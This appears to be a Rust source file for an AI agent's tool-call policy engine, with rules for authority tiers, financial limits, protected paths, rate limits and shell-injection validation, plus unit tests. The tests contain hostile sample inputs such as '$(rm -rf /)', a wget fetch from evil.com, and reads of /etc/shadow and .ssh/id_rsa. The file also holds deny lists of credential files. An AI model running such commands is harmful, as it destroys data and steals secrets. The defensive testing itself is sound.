1use std::sync::Mutex;
2use std::time::{Duration, Instant};
3
4use serde_json::Value;
5
6use roboticus_core::{InputAuthority, PolicyDecision, RiskLevel, SurvivalTier};
7
8fn collect_string_values(value: &Value, out: &mut Vec<String>) {
9 match value {
10 Value::String(s) => out.push(s.clone()),
11 Value::Array(arr) => {
12 for v in arr {
13 collect_string_values(v, out);
14 }
15 }
16 Value::Object(map) => {
17 for v in map.values() {
18 collect_string_values(v, out);
19 }
20 }
21 _ => {}
22 }
23}
24
25pub trait PolicyRule: Send + Sync {
26 fn name(&self) -> &str;
27 fn priority(&self) -> u32;
28 fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision;
29}
30
31#[derive(Debug, Clone)]
32pub struct PolicyContext {
33 pub authority: InputAuthority,
34 pub survival_tier: SurvivalTier,
35 pub claim: Option<roboticus_core::SecurityClaim>,
39}
40
41#[derive(Debug, Clone)]
42pub struct ToolCallRequest {
43 pub tool_name: String,
44 pub params: Value,
45 pub risk_level: RiskLevel,
46}
47
48pub struct PolicyEngine {
49 rules: Vec<Box<dyn PolicyRule>>,
50}
51
52impl PolicyEngine {
53 pub fn new() -> Self {
54 Self { rules: Vec::new() }
55 }
56
57 pub fn add_rule(&mut self, rule: Box<dyn PolicyRule>) {
58 self.rules.push(rule);
59 self.rules.sort_by_key(|r| r.priority());
60 }
61
62 pub fn evaluate_all(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
63 for rule in &self.rules {
64 let decision = rule.evaluate(call, ctx);
65 if !decision.is_allowed() {
66 return decision;
67 }
68 }
69 PolicyDecision::Allow
70 }
71}
72
73impl Default for PolicyEngine {
74 fn default() -> Self {
75 Self::new()
76 }
77}
78
79pub struct AuthorityRule;
81
82impl PolicyRule for AuthorityRule {
83 fn name(&self) -> &str {
84 "authority"
85 }
86
87 fn priority(&self) -> u32 {
88 1
89 }
90
91 fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
92 let allowed = match ctx.authority {
93 InputAuthority::Creator => true,
94 InputAuthority::SelfGenerated => call.risk_level <= RiskLevel::Dangerous,
95 InputAuthority::Peer => call.risk_level <= RiskLevel::Caution,
96 InputAuthority::External => call.risk_level <= RiskLevel::Safe,
97 };
98
99 if allowed {
100 PolicyDecision::Allow
101 } else {
102 PolicyDecision::Deny {
103 rule: self.name().into(),
104 reason: format!(
105 "{:?} authority cannot use {:?}-level tool '{}'",
106 ctx.authority, call.risk_level, call.tool_name
107 ),
108 }
109 }
110 }
111}
112
113pub struct CommandSafetyRule;
115
116impl PolicyRule for CommandSafetyRule {
117 fn name(&self) -> &str {
118 "command_safety"
119 }
120
121 fn priority(&self) -> u32 {
122 2
123 }
124
125 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
126 if call.risk_level == RiskLevel::Forbidden {
127 PolicyDecision::Deny {
128 rule: self.name().into(),
129 reason: format!("tool '{}' is forbidden", call.tool_name),
130 }
131 } else {
132 PolicyDecision::Allow
133 }
134 }
135}
136
137pub struct FinancialRule {
139 pub threshold_dollars: f64,
141}
142
143impl Default for FinancialRule {
144 fn default() -> Self {
145 Self {
146 threshold_dollars: 100.0,
147 }
148 }
149}
150
151impl FinancialRule {
152 pub fn new(threshold_dollars: f64) -> Self {
153 Self { threshold_dollars }
154 }
155
156 fn is_financial_tool(name: &str) -> bool {
157 let name_lower = name.to_lowercase();
158 [
159 "transfer", "send", "withdraw", "deposit", "payment", "wallet",
160 ]
161 .iter()
162 .any(|k| name_lower.contains(k))
163 }
164
165 fn extract_amount_cents(params: &Value) -> Option<i64> {
166 let obj = params.as_object()?;
167 for key in ["amount_cents", "cents", "value_cents"] {
169 if let Some(v) = obj.get(key)
170 && let Some(n) = v.as_i64()
171 {
172 return Some(n);
173 }
174 }
175 if let Some(v) = obj.get("amount")
177 && let Some(n) = v.as_f64()
178 {
179 return Some((n * 100.0).round() as i64);
180 }
181 if let Some(v) = obj
183 .get("amount_dollars")
184 .or(obj.get("dollars"))
185 .or(obj.get("value"))
186 && let Some(n) = v.as_f64()
187 {
188 return Some((n * 100.0).round() as i64);
189 }
190 None
191 }
192
193 fn is_wallet_config_or_drain(params: &Value) -> bool {
194 let obj = match params.as_object() {
195 Some(o) => o,
196 None => return false,
197 };
198 let drain_keys = [
199 "drain",
200 "withdraw_all",
201 "export_private_key",
202 "set_wallet_path",
203 ];
204 for key in drain_keys {
205 if obj.contains_key(key) {
206 return true;
207 }
208 }
209 false
210 }
211}
212
213impl PolicyRule for FinancialRule {
214 fn name(&self) -> &str {
215 "financial"
216 }
217
218 fn priority(&self) -> u32 {
219 3
220 }
221
222 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
223 if !Self::is_financial_tool(&call.tool_name) {
224 return PolicyDecision::Allow;
225 }
226 if Self::is_wallet_config_or_drain(&call.params) {
227 return PolicyDecision::Deny {
228 rule: self.name().into(),
229 reason: "tool attempts to change wallet config or drain funds".into(),
230 };
231 }
232 let threshold_cents = (self.threshold_dollars * 100.0).round() as i64;
233 if let Some(cents) = Self::extract_amount_cents(&call.params)
234 && cents > threshold_cents
235 {
236 return PolicyDecision::Deny {
237 rule: self.name().into(),
238 reason: format!(
239 "amount {} cents exceeds threshold ${:.2}",
240 cents, self.threshold_dollars
241 ),
242 };
243 }
244 PolicyDecision::Allow
245 }
246}
247
248pub struct PathProtectionRule {
251 pub protected: Vec<String>,
253 pub workspace_only: bool,
256 pub tool_allowed_paths: Vec<std::path::PathBuf>,
259}
260
261impl Default for PathProtectionRule {
262 fn default() -> Self {
263 Self {
264 protected: vec![
265 "/etc/".into(),
266 ".env".into(),
267 "wallet.json".into(),
268 "private_key".into(),
269 ".ssh/".into(),
270 "roboticus.toml".into(),
271 ],
272 workspace_only: true,
273 tool_allowed_paths: Vec::new(),
274 }
275 }
276}
277
278impl PathProtectionRule {
279 pub fn new(protected: Vec<String>) -> Self {
280 Self {
281 protected,
282 workspace_only: true,
283 tool_allowed_paths: Vec::new(),
284 }
285 }
286
287 pub fn from_config(fs_cfg: &roboticus_core::config::FilesystemSecurityConfig) -> Self {
293 let mut protected = fs_cfg.protected_paths.clone();
294 protected.extend(fs_cfg.extra_protected_paths.iter().cloned());
295 Self {
296 protected,
297 workspace_only: fs_cfg.workspace_only,
298 tool_allowed_paths: fs_cfg.tool_allowed_paths.clone(),
299 }
300 }
301
302 fn matches_protected(&self, s: &str) -> Option<&str> {
303 let s_lower = s.to_lowercase();
304 for pattern in &self.protected {
305 let p_lower = pattern.to_lowercase();
306 if s_lower.contains(&p_lower) || s_lower.ends_with(p_lower.trim_end_matches('/')) {
307 return Some(pattern);
308 }
309 }
310 None
311 }
312}
313
314impl PolicyRule for PathProtectionRule {
315 fn name(&self) -> &str {
316 "path_protection"
317 }
318
319 fn priority(&self) -> u32 {
320 4
321 }
322
323 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
324 let mut strings = Vec::new();
325 collect_string_values(&call.params, &mut strings);
326
327 if self.workspace_only {
332 for s in &strings {
333 let p = std::path::Path::new(s);
334 if p.is_absolute() && !s.starts_with("/tmp") {
335 let whitelisted = self
336 .tool_allowed_paths
337 .iter()
338 .any(|allowed| p.starts_with(allowed));
339 if !whitelisted {
340 return PolicyDecision::Deny {
341 rule: self.name().into(),
342 reason: format!(
343 "workspace_only mode: absolute path '{}' outside /tmp and configured allowed paths",
344 s
345 ),
346 };
347 }
348 }
349 }
350 }
351
352 for s in &strings {
354 if let Some(pattern) = self.matches_protected(s) {
355 return PolicyDecision::Deny {
356 rule: self.name().into(),
357 reason: format!("protected path pattern '{}' not allowed", pattern),
358 };
359 }
360 }
361 PolicyDecision::Allow
362 }
363}
364
365pub struct RateLimitRule {
367 max_calls_per_minute: u32,
368 calls: Mutex<std::collections::HashMap<String, Vec<Instant>>>,
370}
371
372impl Default for RateLimitRule {
373 fn default() -> Self {
374 Self {
375 max_calls_per_minute: 30,
376 calls: Mutex::new(std::collections::HashMap::new()),
377 }
378 }
379}
380
381impl RateLimitRule {
382 pub fn new(max_calls_per_minute: u32) -> Self {
383 Self {
384 max_calls_per_minute,
385 calls: Mutex::new(std::collections::HashMap::new()),
386 }
387 }
388
389 fn prune_older_than(cuts: &mut Vec<Instant>, cutoff: Instant) {
390 cuts.retain(|&t| t > cutoff);
391 }
392}
393
394impl PolicyRule for RateLimitRule {
395 fn name(&self) -> &str {
396 "rate_limit"
397 }
398
399 fn priority(&self) -> u32 {
400 5
401 }
402
403 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
404 let now = Instant::now();
405 let window_start = now - Duration::from_secs(60);
406 let mut guard = self.calls.lock().unwrap_or_else(|e| e.into_inner());
407 let cuts = guard.entry(call.tool_name.clone()).or_default();
408 Self::prune_older_than(cuts, window_start);
409 if cuts.len() >= self.max_calls_per_minute as usize {
410 return PolicyDecision::Deny {
411 rule: self.name().into(),
412 reason: format!(
413 "tool '{}' rate limit exceeded (max {} per minute)",
414 call.tool_name, self.max_calls_per_minute
415 ),
416 };
417 }
418 cuts.push(now);
419 PolicyDecision::Allow
420 }
421}
422
423pub struct ValidationRule;
425
426const MAX_ARG_SIZE_BYTES: usize = 100 * 1024; impl ValidationRule {
429 fn serialized_size(value: &Value) -> usize {
430 value.to_string().len()
431 }
432
433 fn looks_malicious(s: &str) -> bool {
434 let s_lower = s.to_lowercase();
435 if s.contains('$') && (s.contains('(') || s.contains('`') || s.contains("${")) {
437 return true;
438 }
439 if s.contains("; ")
440 && (s_lower.contains("rm ") || s_lower.contains("curl ") || s_lower.contains("wget "))
441 {
442 return true;
443 }
444 if s.contains("..") && (s.contains('/') || s.contains('\\')) {
446 return true;
447 }
448 false
449 }
450}
451
452impl PolicyRule for ValidationRule {
453 fn name(&self) -> &str {
454 "validation"
455 }
456
457 fn priority(&self) -> u32 {
458 6
459 }
460
461 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
462 if Self::serialized_size(&call.params) > MAX_ARG_SIZE_BYTES {
463 return PolicyDecision::Deny {
464 rule: self.name().into(),
465 reason: format!(
466 "arguments exceed maximum size ({} bytes)",
467 MAX_ARG_SIZE_BYTES
468 ),
469 };
470 }
471 let mut strings = Vec::new();
472 collect_string_values(&call.params, &mut strings);
473 for s in &strings {
474 if Self::looks_malicious(s) {
475 return PolicyDecision::Deny {
476 rule: self.name().into(),
477 reason: "arguments contain potentially malicious pattern (shell injection or path traversal)".into(),
478 };
479 }
480 }
481 PolicyDecision::Allow
482 }
483}
484
485pub struct ConfigProtectionRule {
488 forbidden_patterns: Vec<String>,
489 config_filenames: Vec<String>,
490}
491
492impl Default for ConfigProtectionRule {
493 fn default() -> Self {
494 Self {
495 forbidden_patterns: vec![
496 "scope_mode".into(),
497 "api_key".into(),
498 "admin_token".into(),
499 "keystore".into(),
500 "trusted_proxy".into(),
501 "_secret".into(),
502 "_token".into(),
503 "private_key".into(),
504 ],
505 config_filenames: vec!["roboticus.toml".into(), "config-overrides.toml".into()],
506 }
507 }
508}
509
510impl ConfigProtectionRule {
511 fn targets_config_file(&self, strings: &[String]) -> bool {
512 strings.iter().any(|s| {
513 let s_lower = s.to_lowercase();
514 self.config_filenames
515 .iter()
516 .any(|cfg| s_lower.contains(&cfg.to_lowercase()))
517 })
518 }
519
520 fn contains_forbidden_field(&self, strings: &[String]) -> Option<&str> {
521 for s in strings {
522 let s_lower = s.to_lowercase();
523 for pattern in &self.forbidden_patterns {
524 if s_lower.contains(&pattern.to_lowercase()) {
525 return Some(pattern);
526 }
527 }
528 }
529 None
530 }
531}
532
533impl PolicyRule for ConfigProtectionRule {
534 fn name(&self) -> &str {
535 "config_protection"
536 }
537
538 fn priority(&self) -> u32 {
539 7
540 }
541
542 fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
543 let tool_lower = call.tool_name.to_lowercase();
544 let is_write_tool = tool_lower.contains("write_file")
545 || tool_lower.contains("bash")
546 || tool_lower.contains("run_script");
547
548 if !is_write_tool {
549 return PolicyDecision::Allow;
550 }
551
552 let mut strings = Vec::new();
553 collect_string_values(&call.params, &mut strings);
554
555 if !self.targets_config_file(&strings) {
556 return PolicyDecision::Allow;
557 }
558
559 if let Some(field) = self.contains_forbidden_field(&strings) {
560 return PolicyDecision::Deny {
561 rule: self.name().into(),
562 reason: format!(
563 "cannot modify security-sensitive config field '{}' via tools; \
564 edit the config file directly or use the CLI",
565 field
566 ),
567 };
568 }
569 PolicyDecision::Allow
570 }
571}
572
573#[cfg(test)]
574mod tests {
575 use super::*;
576
577 fn make_request(tool: &str, risk: RiskLevel) -> ToolCallRequest {
578 ToolCallRequest {
579 tool_name: tool.into(),
580 params: serde_json::json!({}),
581 risk_level: risk,
582 }
583 }
584
585 #[test]
586 fn authority_based_blocking() {
587 let mut engine = PolicyEngine::new();
588 engine.add_rule(Box::new(AuthorityRule));
589
590 let ctx_external = PolicyContext {
591 authority: InputAuthority::External,
592 survival_tier: SurvivalTier::Normal,
593 claim: None,
594 };
595
596 assert!(
597 engine
598 .evaluate_all(&make_request("echo", RiskLevel::Safe), &ctx_external)
599 .is_allowed()
600 );
601
602 assert!(
603 !engine
604 .evaluate_all(&make_request("rm_file", RiskLevel::Caution), &ctx_external)
605 .is_allowed()
606 );
607
608 let ctx_creator = PolicyContext {
609 authority: InputAuthority::Creator,
610 survival_tier: SurvivalTier::Normal,
611 claim: None,
612 };
613 assert!(
614 engine
615 .evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx_creator)
616 .is_allowed()
617 );
618
619 let ctx_self = PolicyContext {
620 authority: InputAuthority::SelfGenerated,
621 survival_tier: SurvivalTier::Normal,
622 claim: None,
623 };
624 assert!(
625 engine
626 .evaluate_all(&make_request("cmd", RiskLevel::Dangerous), &ctx_self)
627 .is_allowed()
628 );
629 assert!(
630 !engine
631 .evaluate_all(&make_request("cmd", RiskLevel::Forbidden), &ctx_self)
632 .is_allowed()
633 );
634 }
635
636 #[test]
637 fn command_safety_blocks_forbidden() {
638 let mut engine = PolicyEngine::new();
639 engine.add_rule(Box::new(CommandSafetyRule));
640
641 let ctx = PolicyContext {
642 authority: InputAuthority::Creator,
643 survival_tier: SurvivalTier::Normal,
644 claim: None,
645 };
646
647 assert!(
648 !engine
649 .evaluate_all(&make_request("evil", RiskLevel::Forbidden), &ctx)
650 .is_allowed()
651 );
652 assert!(
653 engine
654 .evaluate_all(&make_request("good", RiskLevel::Dangerous), &ctx)
655 .is_allowed()
656 );
657 }
658
659 #[test]
660 fn allow_pass_through() {
661 let mut engine = PolicyEngine::new();
662 engine.add_rule(Box::new(AuthorityRule));
663 engine.add_rule(Box::new(CommandSafetyRule));
664
665 let ctx = PolicyContext {
666 authority: InputAuthority::Creator,
667 survival_tier: SurvivalTier::High,
668 claim: None,
669 };
670
671 let decision = engine.evaluate_all(&make_request("read_file", RiskLevel::Safe), &ctx);
672 assert!(decision.is_allowed());
673 }
674
675 #[test]
676 fn financial_rule_blocks_high_value_allows_low() {
677 let rule = FinancialRule::new(100.0);
678 let ctx = PolicyContext {
679 authority: InputAuthority::Creator,
680 survival_tier: SurvivalTier::Normal,
681 claim: None,
682 };
683
684 let low = ToolCallRequest {
685 tool_name: "transfer".into(),
686 params: serde_json::json!({ "amount_cents": 5000 }),
687 risk_level: RiskLevel::Safe,
688 };
689 assert!(rule.evaluate(&low, &ctx).is_allowed());
690
691 let high = ToolCallRequest {
692 tool_name: "send".into(),
693 params: serde_json::json!({ "amount_dollars": 150.0 }),
694 risk_level: RiskLevel::Safe,
695 };
696 assert!(!rule.evaluate(&high, &ctx).is_allowed());
697
698 let non_financial = ToolCallRequest {
699 tool_name: "read_file".into(),
700 params: serde_json::json!({ "path": "/tmp/foo" }),
701 risk_level: RiskLevel::Safe,
702 };
703 assert!(rule.evaluate(&non_financial, &ctx).is_allowed());
704 }
705
706 #[test]
707 fn financial_rule_blocks_wallet_drain() {
708 let rule = FinancialRule::default();
709 let ctx = PolicyContext {
710 authority: InputAuthority::Creator,
711 survival_tier: SurvivalTier::Normal,
712 claim: None,
713 };
714
715 let drain = ToolCallRequest {
716 tool_name: "wallet_export".into(),
717 params: serde_json::json!({ "export_private_key": true }),
718 risk_level: RiskLevel::Safe,
719 };
720 assert!(!rule.evaluate(&drain, &ctx).is_allowed());
721 }
722
723 #[test]
724 fn path_protection_blocks_env_allows_normal() {
725 let rule = PathProtectionRule::default();
726 let ctx = PolicyContext {
727 authority: InputAuthority::Creator,
728 survival_tier: SurvivalTier::Normal,
729 claim: None,
730 };
731
732 let blocked = ToolCallRequest {
733 tool_name: "read_file".into(),
734 params: serde_json::json!({ "path": "/app/.env" }),
735 risk_level: RiskLevel::Safe,
736 };
737 let decision = rule.evaluate(&blocked, &ctx);
738 assert!(!decision.is_allowed());
739 if let PolicyDecision::Deny { reason, .. } = &decision {
740 assert!(reason.contains(".env") || reason.contains("protected"));
741 }
742
743 let allowed = ToolCallRequest {
744 tool_name: "read_file".into(),
745 params: serde_json::json!({ "path": "/tmp/foo.txt" }),
746 risk_level: RiskLevel::Safe,
747 };
748 assert!(rule.evaluate(&allowed, &ctx).is_allowed());
749 }
750
751 #[test]
752 fn rate_limit_blocks_over_limit_allows_under() {
753 let rule = RateLimitRule::new(2);
754 let ctx = PolicyContext {
755 authority: InputAuthority::Creator,
756 survival_tier: SurvivalTier::Normal,
757 claim: None,
758 };
759
760 let req = |tool: &str| ToolCallRequest {
761 tool_name: tool.into(),
762 params: serde_json::json!({}),
763 risk_level: RiskLevel::Safe,
764 };
765
766 assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
767 assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
768 assert!(!rule.evaluate(&req("foo"), &ctx).is_allowed());
769
770 assert!(rule.evaluate(&req("bar"), &ctx).is_allowed());
771 }
772
773 #[test]
774 fn validation_rejects_oversized_and_malicious() {
775 let rule = ValidationRule;
776 let ctx = PolicyContext {
777 authority: InputAuthority::Creator,
778 survival_tier: SurvivalTier::Normal,
779 claim: None,
780 };
781
782 let huge = ToolCallRequest {
783 tool_name: "echo".into(),
784 params: serde_json::json!({ "data": "x".repeat(101 * 1024) }),
785 risk_level: RiskLevel::Safe,
786 };
787 assert!(!rule.evaluate(&huge, &ctx).is_allowed());
788
789 let shell_injection = ToolCallRequest {
790 tool_name: "run".into(),
791 params: serde_json::json!({ "cmd": "$(rm -rf /)" }),
792 risk_level: RiskLevel::Safe,
793 };
794 assert!(!rule.evaluate(&shell_injection, &ctx).is_allowed());
795
796 let path_traversal = ToolCallRequest {
797 tool_name: "read".into(),
798 params: serde_json::json!({ "path": "../../../etc/passwd" }),
799 risk_level: RiskLevel::Safe,
800 };
801 assert!(!rule.evaluate(&path_traversal, &ctx).is_allowed());
802
803 let ok = ToolCallRequest {
804 tool_name: "echo".into(),
805 params: serde_json::json!({ "msg": "hello" }),
806 risk_level: RiskLevel::Safe,
807 };
808 assert!(rule.evaluate(&ok, &ctx).is_allowed());
809 }
810
811 #[test]
814 fn collect_string_values_nested_arrays() {
815 let val = serde_json::json!([["a", "b"], ["c"]]);
816 let mut out = Vec::new();
817 collect_string_values(&val, &mut out);
818 assert_eq!(out, vec!["a", "b", "c"]);
819 }
820
821 #[test]
822 fn collect_string_values_nested_objects() {
823 let val = serde_json::json!({"a": {"b": "deep", "c": 42}, "d": "top"});
824 let mut out = Vec::new();
825 collect_string_values(&val, &mut out);
826 assert!(out.contains(&"deep".to_string()));
827 assert!(out.contains(&"top".to_string()));
828 assert_eq!(out.len(), 2); }
830
831 #[test]
832 fn collect_string_values_mixed() {
833 let val = serde_json::json!({
834 "items": [{"name": "file.txt"}, {"name": "dir/sub.py"}],
835 "count": 2,
836 "flag": true,
837 "label": "test"
838 });
839 let mut out = Vec::new();
840 collect_string_values(&val, &mut out);
841 assert!(out.contains(&"file.txt".to_string()));
842 assert!(out.contains(&"dir/sub.py".to_string()));
843 assert!(out.contains(&"test".to_string()));
844 assert_eq!(out.len(), 3);
845 }
846
847 #[test]
848 fn collect_string_values_primitives_skipped() {
849 let val = serde_json::json!(42);
850 let mut out = Vec::new();
851 collect_string_values(&val, &mut out);
852 assert!(out.is_empty());
853
854 let val = serde_json::json!(true);
855 collect_string_values(&val, &mut out);
856 assert!(out.is_empty());
857
858 let val = serde_json::json!(null);
859 collect_string_values(&val, &mut out);
860 assert!(out.is_empty());
861 }
862
863 #[test]
866 fn authority_peer_allows_safe_blocks_caution() {
867 let rule = AuthorityRule;
868 let ctx = PolicyContext {
869 authority: InputAuthority::Peer,
870 survival_tier: SurvivalTier::Normal,
871 claim: None,
872 };
873
874 assert!(
875 rule.evaluate(&make_request("echo", RiskLevel::Safe), &ctx)
876 .is_allowed()
877 );
878 assert!(
879 rule.evaluate(&make_request("read_file", RiskLevel::Caution), &ctx)
880 .is_allowed()
881 );
882 assert!(
883 !rule
884 .evaluate(&make_request("write_file", RiskLevel::Dangerous), &ctx)
885 .is_allowed()
886 );
887 }
888
889 #[test]
892 fn financial_extract_amount_cents_various_keys() {
893 assert_eq!(
895 FinancialRule::extract_amount_cents(&serde_json::json!({"amount": 5000})),
896 Some(500000)
897 );
898 assert_eq!(
900 FinancialRule::extract_amount_cents(&serde_json::json!({"amount_cents": 3000})),
901 Some(3000)
902 );
903 assert_eq!(
905 FinancialRule::extract_amount_cents(&serde_json::json!({"cents": 1500})),
906 Some(1500)
907 );
908 assert_eq!(
910 FinancialRule::extract_amount_cents(&serde_json::json!({"value_cents": 2000})),
911 Some(2000)
912 );
913 assert_eq!(
915 FinancialRule::extract_amount_cents(&serde_json::json!({"dollars": 25.0})),
916 Some(2500)
917 );
918 assert_eq!(
920 FinancialRule::extract_amount_cents(&serde_json::json!({"value": 10.50})),
921 Some(1050)
922 );
923 assert_eq!(
925 FinancialRule::extract_amount_cents(&serde_json::json!({"other": 42})),
926 None
927 );
928 assert_eq!(
930 FinancialRule::extract_amount_cents(&serde_json::json!("not an object")),
931 None
932 );
933 }
934
935 #[test]
936 fn financial_is_financial_tool_names() {
937 assert!(FinancialRule::is_financial_tool("transfer_usdc"));
938 assert!(FinancialRule::is_financial_tool("send_payment"));
939 assert!(FinancialRule::is_financial_tool("withdraw_funds"));
940 assert!(FinancialRule::is_financial_tool("deposit_eth"));
941 assert!(FinancialRule::is_financial_tool("process_payment"));
942 assert!(FinancialRule::is_financial_tool("wallet_balance"));
943 assert!(!FinancialRule::is_financial_tool("read_file"));
944 assert!(!FinancialRule::is_financial_tool("echo"));
945 }
946
947 #[test]
948 fn financial_wallet_config_drain_patterns() {
949 assert!(FinancialRule::is_wallet_config_or_drain(
950 &serde_json::json!({"drain": true})
951 ));
952 assert!(FinancialRule::is_wallet_config_or_drain(
953 &serde_json::json!({"withdraw_all": true})
954 ));
955 assert!(FinancialRule::is_wallet_config_or_drain(
956 &serde_json::json!({"export_private_key": true})
957 ));
958 assert!(FinancialRule::is_wallet_config_or_drain(
959 &serde_json::json!({"set_wallet_path": "/tmp/evil"})
960 ));
961 assert!(!FinancialRule::is_wallet_config_or_drain(
962 &serde_json::json!({"amount": 100})
963 ));
964 assert!(!FinancialRule::is_wallet_config_or_drain(
965 &serde_json::json!("not an object")
966 ));
967 }
968
969 #[test]
972 fn validation_looks_malicious_wget() {
973 let rule = ValidationRule;
974 let ctx = PolicyContext {
975 authority: InputAuthority::Creator,
976 survival_tier: SurvivalTier::Normal,
977 claim: None,
978 };
979
980 let wget_inject = ToolCallRequest {
981 tool_name: "run".into(),
982 params: serde_json::json!({ "cmd": "; wget http://evil.com/payload" }),
983 risk_level: RiskLevel::Safe,
984 };
985 assert!(!rule.evaluate(&wget_inject, &ctx).is_allowed());
986 }
987
988 #[test]
989 fn validation_looks_malicious_backtick() {
990 let rule = ValidationRule;
991 let ctx = PolicyContext {
992 authority: InputAuthority::Creator,
993 survival_tier: SurvivalTier::Normal,
994 claim: None,
995 };
996
997 let backtick = ToolCallRequest {
998 tool_name: "run".into(),
999 params: serde_json::json!({ "cmd": "echo $(`whoami`)" }),
1000 risk_level: RiskLevel::Safe,
1001 };
1002 assert!(!rule.evaluate(&backtick, &ctx).is_allowed());
1003 }
1004
1005 #[test]
1006 fn validation_looks_malicious_dollar_brace() {
1007 let rule = ValidationRule;
1008 let ctx = PolicyContext {
1009 authority: InputAuthority::Creator,
1010 survival_tier: SurvivalTier::Normal,
1011 claim: None,
1012 };
1013
1014 let dollar_brace = ToolCallRequest {
1015 tool_name: "run".into(),
1016 params: serde_json::json!({ "cmd": "echo ${SECRET}" }),
1017 risk_level: RiskLevel::Safe,
1018 };
1019 assert!(!rule.evaluate(&dollar_brace, &ctx).is_allowed());
1020 }
1021
1022 #[test]
1025 fn path_protection_detects_nested_protected_paths() {
1026 let rule = PathProtectionRule::default();
1027 let ctx = PolicyContext {
1028 authority: InputAuthority::Creator,
1029 survival_tier: SurvivalTier::Normal,
1030 claim: None,
1031 };
1032
1033 let nested = ToolCallRequest {
1034 tool_name: "process".into(),
1035 params: serde_json::json!({
1036 "files": [{"path": "/etc/shadow"}]
1037 }),
1038 risk_level: RiskLevel::Safe,
1039 };
1040 assert!(!rule.evaluate(&nested, &ctx).is_allowed());
1041 }
1042
1043 #[test]
1044 fn path_protection_wallet_json() {
1045 let rule = PathProtectionRule::default();
1046 let ctx = PolicyContext {
1047 authority: InputAuthority::Creator,
1048 survival_tier: SurvivalTier::Normal,
1049 claim: None,
1050 };
1051
1052 let wallet = ToolCallRequest {
1053 tool_name: "read_file".into(),
1054 params: serde_json::json!({ "path": "data/wallet.json" }),
1055 risk_level: RiskLevel::Safe,
1056 };
1057 assert!(!rule.evaluate(&wallet, &ctx).is_allowed());
1058 }
1059
1060 #[test]
1061 fn path_protection_ssh_dir() {
1062 let rule = PathProtectionRule::default();
1063 let ctx = PolicyContext {
1064 authority: InputAuthority::Creator,
1065 survival_tier: SurvivalTier::Normal,
1066 claim: None,
1067 };
1068
1069 let ssh = ToolCallRequest {
1070 tool_name: "read_file".into(),
1071 params: serde_json::json!({ "path": ".ssh/id_rsa" }),
1072 risk_level: RiskLevel::Safe,
1073 };
1074 assert!(!rule.evaluate(&ssh, &ctx).is_allowed());
1075 }
1076
1077 #[test]
1080 fn engine_evaluates_rules_in_priority_order() {
1081 let mut engine = PolicyEngine::new();
1082 engine.add_rule(Box::new(ValidationRule)); engine.add_rule(Box::new(AuthorityRule)); engine.add_rule(Box::new(CommandSafetyRule)); let ctx = PolicyContext {
1088 authority: InputAuthority::External,
1089 survival_tier: SurvivalTier::Normal,
1090 claim: None,
1091 };
1092 let decision = engine.evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx);
1093 assert!(!decision.is_allowed());
1094 if let PolicyDecision::Deny { rule, .. } = &decision {
1095 assert_eq!(rule, "authority", "authority rule should fire first");
1096 }
1097 }
1098
1099 #[test]
1100 fn engine_default_is_empty() {
1101 let engine = PolicyEngine::default();
1102 let ctx = PolicyContext {
1103 authority: InputAuthority::External,
1104 survival_tier: SurvivalTier::Normal,
1105 claim: None,
1106 };
1107 assert!(
1109 engine
1110 .evaluate_all(&make_request("anything", RiskLevel::Forbidden), &ctx)
1111 .is_allowed()
1112 );
1113 }
1114
1115 #[test]
1118 fn path_protection_workspace_only_blocks_absolute() {
1119 let rule = PathProtectionRule {
1120 protected: vec![],
1121 workspace_only: true,
1122 tool_allowed_paths: vec![],
1123 };
1124 let ctx = PolicyContext {
1125 authority: InputAuthority::Creator,
1126 survival_tier: SurvivalTier::Normal,
1127 claim: None,
1128 };
1129
1130 let abs_path = if cfg!(windows) {
1131 r"C:\Users\user\secret.txt"
1132 } else {
1133 "/home/user/secret.txt"
1134 };
1135 let abs = ToolCallRequest {
1136 tool_name: "read_file".into(),
1137 params: serde_json::json!({ "path": abs_path }),
1138 risk_level: RiskLevel::Safe,
1139 };
1140 assert!(
1141 !rule.evaluate(&abs, &ctx).is_allowed(),
1142 "workspace_only should block absolute paths outside /tmp"
1143 );
1144
1145 let tmp = ToolCallRequest {
1146 tool_name: "write_file".into(),
1147 params: serde_json::json!({ "path": "/tmp/scratch.txt" }),
1148 risk_level: RiskLevel::Safe,
1149 };
1150 assert!(
1151 rule.evaluate(&tmp, &ctx).is_allowed(),
1152 "workspace_only should allow /tmp paths"
1153 );
1154
1155 let relative = ToolCallRequest {
1156 tool_name: "read_file".into(),
1157 params: serde_json::json!({ "path": "src/main.rs" }),
1158 risk_level: RiskLevel::Safe,
1159 };
1160 assert!(
1161 rule.evaluate(&relative, &ctx).is_allowed(),
1162 "workspace_only should allow relative paths"
1163 );
1164 }
1165
1166 #[test]
1167 fn path_protection_workspace_only_disabled() {
1168 let rule = PathProtectionRule {
1169 protected: vec![],
1170 workspace_only: false,
1171 tool_allowed_paths: vec![],
1172 };
1173 let ctx = PolicyContext {
1174 authority: InputAuthority::Creator,
1175 survival_tier: SurvivalTier::Normal,
1176 claim: None,
1177 };
1178
1179 let abs = ToolCallRequest {
1180 tool_name: "read_file".into(),
1181 params: serde_json::json!({ "path": "/home/user/document.txt" }),
1182 risk_level: RiskLevel::Safe,
1183 };
1184 assert!(
1185 rule.evaluate(&abs, &ctx).is_allowed(),
1186 "workspace_only=false should allow absolute paths"
1187 );
1188 }
1189
1190 #[test]
1191 fn path_protection_from_config_merges_lists() {
1192 let cfg = roboticus_core::config::FilesystemSecurityConfig {
1193 workspace_only: false,
1194 protected_paths: vec![".env".into(), "secret.key".into()],
1195 extra_protected_paths: vec!["custom.pem".into()],
1196 script_fs_confinement: true,
1197 script_allowed_paths: vec![],
